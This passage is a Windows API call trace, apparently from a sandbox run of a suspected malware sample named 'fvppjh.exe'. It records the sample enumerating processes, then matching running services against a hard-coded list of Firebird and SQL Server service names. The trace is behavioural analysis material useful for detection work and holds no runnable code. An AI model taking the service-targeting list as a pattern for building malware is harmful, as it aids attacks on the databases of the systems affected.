	[0159.024] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0159.025] lstrlenW (lpString="taskhostw.exe") returned 13
	[0159.025] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0159.025] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0159.025] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0159.026] lstrlenW (lpString="taskhostw.exe") returned 13
	[0159.026] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0159.026] lstrlenW (lpString="explorer.exe") returned 12
	[0159.026] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0159.026] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0159.027] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0159.027] lstrlenW (lpString="SearchUI.exe") returned 12
	[0159.027] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0159.027] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0159.027] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0159.028] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0159.028] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.028] lstrlenW (lpString="svchost.exe") returned 11
	[0159.028] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0159.029] lstrlenW (lpString="fvppjh.exe") returned 10
	[0159.029] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0159.029] lstrlenW (lpString="cmd.exe") returned 7
	[0159.029] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0159.029] lstrlenW (lpString="conhost.exe") returned 11
	[0159.029] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0159.030] CloseHandle (hObject=0x4b0) returned 1
	[0159.030] Sleep (dwMilliseconds=0x1f4) 
	[0159.790] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c04f8
	[0159.790] EnumServicesStatusExW (in: hSCManager=0x41c04f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0159.791] GetLastError () returned 0xea
	[0159.791] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x41bb020
	[0159.791] EnumServicesStatusExW (in: hSCManager=0x41c04f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41bb020, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41bb020, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0159.791] CloseServiceHandle (hSCObject=0x41c04f8) returned 1
	[0159.792] lstrlenW (lpString="AppXSvc") returned 7
	[0159.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0159.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0159.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0159.792] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0159.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0159.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0159.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0159.792] lstrlenW (lpString="Audiosrv") returned 8
	[0159.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0159.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0159.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0159.792] lstrlenW (lpString="BFE") returned 3
	[0159.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0159.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0159.792] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0159.792] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0159.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0159.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0159.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0159.793] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0159.793] lstrlenW (lpString="CDPSvc") returned 6
	[0159.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0159.793] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0159.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0159.793] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0159.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0159.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0159.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0159.793] lstrlenW (lpString="CryptSvc") returned 8
	[0159.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0159.793] lstrlenW (lpString="DcomLaunch") returned 10
	[0159.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0159.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0159.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0159.793] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0159.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0159.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0159.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0159.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0159.794] lstrlenW (lpString="Dhcp") returned 4
	[0159.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0159.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0159.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0159.794] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0159.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0159.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0159.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0159.794] lstrlenW (lpString="Dnscache") returned 8
	[0159.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0159.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0159.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0159.794] lstrlenW (lpString="DPS") returned 3
	[0159.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0159.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0159.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0159.794] lstrlenW (lpString="DusmSvc") returned 7
	[0159.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0159.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0159.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0159.794] lstrlenW (lpString="EventLog") returned 8
	[0159.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0159.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0159.794] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0159.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0159.795] lstrlenW (lpString="EventSystem") returned 11
	[0159.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0159.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0159.795] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0159.795] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0159.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0159.795] lstrlenW (lpString="FontCache") returned 9
	[0159.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0159.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0159.795] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0159.795] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0159.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0159.795] lstrlenW (lpString="gpsvc") returned 5
	[0159.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0159.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0159.795] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0159.795] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0159.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0159.795] lstrlenW (lpString="iphlpsvc") returned 8
	[0159.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0159.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0159.795] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0159.795] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0159.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0159.795] lstrlenW (lpString="KeyIso") returned 6
	[0159.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0159.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0159.795] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0159.795] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0159.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0159.795] lstrlenW (lpString="LanmanServer") returned 12
	[0159.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0159.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0159.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0159.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0159.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0159.795] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0159.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0159.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0159.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0159.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0159.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0159.796] lstrlenW (lpString="lfsvc") returned 5
	[0159.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0159.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0159.796] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0159.796] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0159.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0159.796] lstrlenW (lpString="lmhosts") returned 7
	[0159.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0159.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0159.796] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0159.796] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0159.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0159.796] lstrlenW (lpString="LSM") returned 3
	[0159.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0159.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0159.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0159.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0159.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0159.796] lstrlenW (lpString="MpsSvc") returned 6
	[0159.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0159.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0159.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0159.796] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0159.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0159.796] lstrlenW (lpString="NcbService") returned 10
	[0159.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0159.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0159.796] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0159.796] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0159.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0159.796] lstrlenW (lpString="netprofm") returned 8
	[0159.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0159.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0159.797] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0159.797] lstrlenW (lpString="NgcSvc") returned 6
	[0159.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0159.797] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0159.797] lstrlenW (lpString="NlaSvc") returned 6
	[0159.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0159.797] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0159.797] lstrlenW (lpString="nsi") returned 3
	[0159.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0159.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0159.797] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0159.797] lstrlenW (lpString="PcaSvc") returned 6
	[0159.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0159.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0159.797] lstrlenW (lpString="PlugPlay") returned 8
	[0159.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0159.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0159.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0159.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0159.797] lstrlenW (lpString="Power") returned 5
	[0159.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0159.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0159.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0159.798] lstrlenW (lpString="ProfSvc") returned 7
	[0159.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0159.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0159.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0159.798] lstrlenW (lpString="RpcEptMapper") returned 12
	[0159.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0159.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0159.798] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0159.798] lstrlenW (lpString="RpcSs") returned 5
	[0159.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0159.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0159.798] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0159.798] lstrlenW (lpString="SamSs") returned 5
	[0159.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0159.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0159.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0159.798] lstrlenW (lpString="Schedule") returned 8
	[0159.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0159.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0159.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0159.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0159.798] lstrlenW (lpString="SecurityHealthService") returned 21
	[0159.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0159.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0159.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
